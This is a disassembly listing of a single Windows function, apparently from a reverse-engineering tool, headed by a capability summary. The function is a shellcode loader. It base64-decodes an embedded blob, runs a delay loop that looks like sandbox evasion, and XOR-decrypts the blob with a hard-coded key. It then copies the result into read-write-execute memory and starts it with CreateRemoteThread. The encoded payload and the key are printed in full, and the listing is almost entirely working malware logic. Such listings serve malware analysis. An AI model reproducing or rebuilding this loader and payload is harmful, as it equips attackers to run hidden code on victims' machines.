Function at 0x140001948
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x888
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x830], ecx
mov qword [rbp + 0x838], rdx
call dbg.__main
call dbg.excess_code
mov qword [rbp + 0x7c0], 0
mov qword [rbp + 0x7f8], 0
mov qword [rbp + 0x7f0], 0
mov qword [rbp + 0x7e8], 1
mov qword [rbp + 0x7d0], 0
lea rax, [rbp + 0x7c0]
mov rdx, rax
lea rcx, str.dwILJNk65h0CAhTptvzf_7AUdayGSWVwJ1xijI9YkSYZgoA3wfecQ3oO5KKiGrp0U8gf0Ht1KqsKJnUNRFGBk_XitIODt7PX5qvoguN6pZyT6fdukKv06qiFcLpxFXIXKpm6vNQ95zz6SnOoKMJVtOF0Dv1B34L6xZyT1Y1zxoCxhpxiMD3MFbg0kKJnNyW_vGlCgrXwvG7C5go1jPCW4zsoVRqxsGSXiG1kCMIUMcz9ifKsJeBg1IvnTecesKJECUM7C1XYStqRs8OgEA47_KupAxB1BkDADws7xevfdvBIEddS8ynCgGHxR5_1HXC1Y4EOJs0uzQmuzirW9JiZaTc5p1KbcemATE1hCYyZFSgwZWgFaLekRPioDwN1HgA7sIJmTUvrnkucvJwRGDaaRYtRCVr1RjtkHCeeLBpGB6KKvRNhmXAgDpSbKeCp1zoSrrPgVFKmgyK8K7GavNOBOxNzOfZiNWp5K3fOAeILG5EMCKsMBBPwa6H61_rKGopx4blujtefpYonYxpLCKaWxnj1cAFXmpGpc5vGbmF1XL5WzC7OJApt9vFpgmGFtgD6jjgPycm7G9AOCavTXXoRxvo1XC7grx5tkZGW6gr1LmgwCvPeMbilfvrJdupR3cigC5gQZACfd57XkXEc8z11MuJgUr84Pv9sKbE8L0FIFdYwP7HGLFO3veeEkY6iZEeU3HxBiXBgbiRzVhWkjCWSL5jcmUiAo1chqEr3hTJ0NJktq3T_vpvhYmfmiZQRCVjgIq5W4jBDctPQksyNkePogsjZJwS6LWCsz4lgk1c_FX5KGD4_hrx1IeOjOuOpA7n3Jzjlqo1AqC760CBHUAeyXY1gxpJ9u0b0pW8L_pDa4ArNbI61lkm5mMBviqCVDgOmCaAscN54N38NBSEyZTSDjvL3iuKo0OVRitwHDCYOwuKxRvQKDoUJ8k6cWT7VaifhoCxeWbjD3DDDHCeKjCBQgAHDQXiomXmwng_xFc_GSDiHMKQ15Ys0DQeYDgCKlSR1acN6_4a5CkgIx5Zg5j95Rju5Ot9qWgQAAA
call dbg.base64_decode
lea rcx, str.dwILJNk65h0CAhTptvzf_7AUdayGSWVwJ1xijI9YkSYZgoA3wfecQ3oO5KKiGrp0U8gf0Ht1KqsKJnUNRFGBk_XitIODt7PX5qvoguN6pZyT6fdukKv06qiFcLpxFXIXKpm6vNQ95zz6SnOoKMJVtOF0Dv1B34L6xZyT1Y1zxoCxhpxiMD3MFbg0kKJnNyW_vGlCgrXwvG7C5go1jPCW4zsoVRqxsGSXiG1kCMIUMcz9ifKsJeBg1IvnTecesKJECUM7C1XYStqRs8OgEA47_KupAxB1BkDADws7xevfdvBIEddS8ynCgGHxR5_1HXC1Y4EOJs0uzQmuzirW9JiZaTc5p1KbcemATE1hCYyZFSgwZWgFaLekRPioDwN1HgA7sIJmTUvrnkucvJwRGDaaRYtRCVr1RjtkHCeeLBpGB6KKvRNhmXAgDpSbKeCp1zoSrrPgVFKmgyK8K7GavNOBOxNzOfZiNWp5K3fOAeILG5EMCKsMBBPwa6H61_rKGopx4blujtefpYonYxpLCKaWxnj1cAFXmpGpc5vGbmF1XL5WzC7OJApt9vFpgmGFtgD6jjgPycm7G9AOCavTXXoRxvo1XC7grx5tkZGW6gr1LmgwCvPeMbilfvrJdupR3cigC5gQZACfd57XkXEc8z11MuJgUr84Pv9sKbE8L0FIFdYwP7HGLFO3veeEkY6iZEeU3HxBiXBgbiRzVhWkjCWSL5jcmUiAo1chqEr3hTJ0NJktq3T_vpvhYmfmiZQRCVjgIq5W4jBDctPQksyNkePogsjZJwS6LWCsz4lgk1c_FX5KGD4_hrx1IeOjOuOpA7n3Jzjlqo1AqC760CBHUAeyXY1gxpJ9u0b0pW8L_pDa4ArNbI61lkm5mMBviqCVDgOmCaAscN54N38NBSEyZTSDjvL3iuKo0OVRitwHDCYOwuKxRvQKDoUJ8k6cWT7VaifhoCxeWbjD3DDDHCeKjCBQgAHDQXiomXmwng_xFc_GSDiHMKQ15Ys0DQeYDgCKlSR1acN6_4a5CkgIx5Zg5j95Rju5Ot9qWgQAAA
call sym.strlen
shr rax, 2
mov edx, eax
mov eax, edx
add eax, eax
add eax, edx
sub eax, 1
mov dword [rbp + 0x7e4], eax
jmp 0x140001b28
mov dword [rbp + 0x7e0], 0
jmp 0x140001a4b
mov dword [rbp + 0x7dc], 0
jmp 0x140001a38
mov rdx, qword [rbp + 0x7f0]
mov rax, qword [rbp + 0x7e8]
add rax, rdx
mov qword [rbp + 0x7d0], rax
mov rax, qword [rbp + 0x7e8]
mov qword [rbp + 0x7f0], rax
mov rax, qword [rbp + 0x7d0]
mov qword [rbp + 0x7e8], rax
add dword [rbp + 0x7dc], 1
cmp dword [rbp + 0x7dc], 0x2710
jle 0x1400019fd
add dword [rbp + 0x7e0], 1
cmp dword [rbp + 0x7e0], 0x2710
jle 0x1400019f1
mov rdx, qword [rbp + 0x7c0]
mov eax, dword [rbp + 0x7e4]
cdqe
add rax, rdx
movzx eax, byte [rax]
test al, al
je 0x140001b21
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x800
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x7f8], rax
mov eax, dword [rbp + 0x7e4]
lea r8d, [rax + 1]
mov rcx, qword [str.AeB79_ra0_1_]
mov rax, qword [rbp + 0x7c0]
lea rdx, [rbp - 0x40]
mov r9d, r8d
mov r8, rcx
mov rcx, rax
call dbg.xor_encrypt_decrypt
mov rax, qword [rbp + 0x7f8]
mov rdx, rax
lea rax, [rbp - 0x40]
mov ecx, 0x800
mov r8, qword [rax]
mov qword [rdx], r8
mov r8d, ecx
add r8, rdx
lea r9, [r8 + 8]
mov r8d, ecx
add r8, rax
add r8, 8
mov r8, qword [r8 - 0x10]
mov qword [r9 - 0x10], r8
lea r8, [rdx + 8]
and r8, 0xfffffffffffffff8
sub rdx, r8
sub rax, rdx
add ecx, edx
and ecx, 0xfffffff8
shr ecx, 3
mov edx, ecx
mov edx, edx
mov rdi, r8
mov rsi, rax
mov rcx, rdx
rep movsq qword [rdi], qword [rsi]
jmp 0x140001b35
sub dword [rbp + 0x7e4], 1
cmp dword [rbp + 0x7e4], 0
jns 0x1400019e5
mov rbx, qword [rbp + 0x7f8]
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rbx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp + 0x7c8], rax
mov rax, qword [rbp + 0x7c8]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x7c8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x7f8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov eax, 0
add rsp, 0x888
pop rbx
pop rsi
pop rdi
pop rbp
ret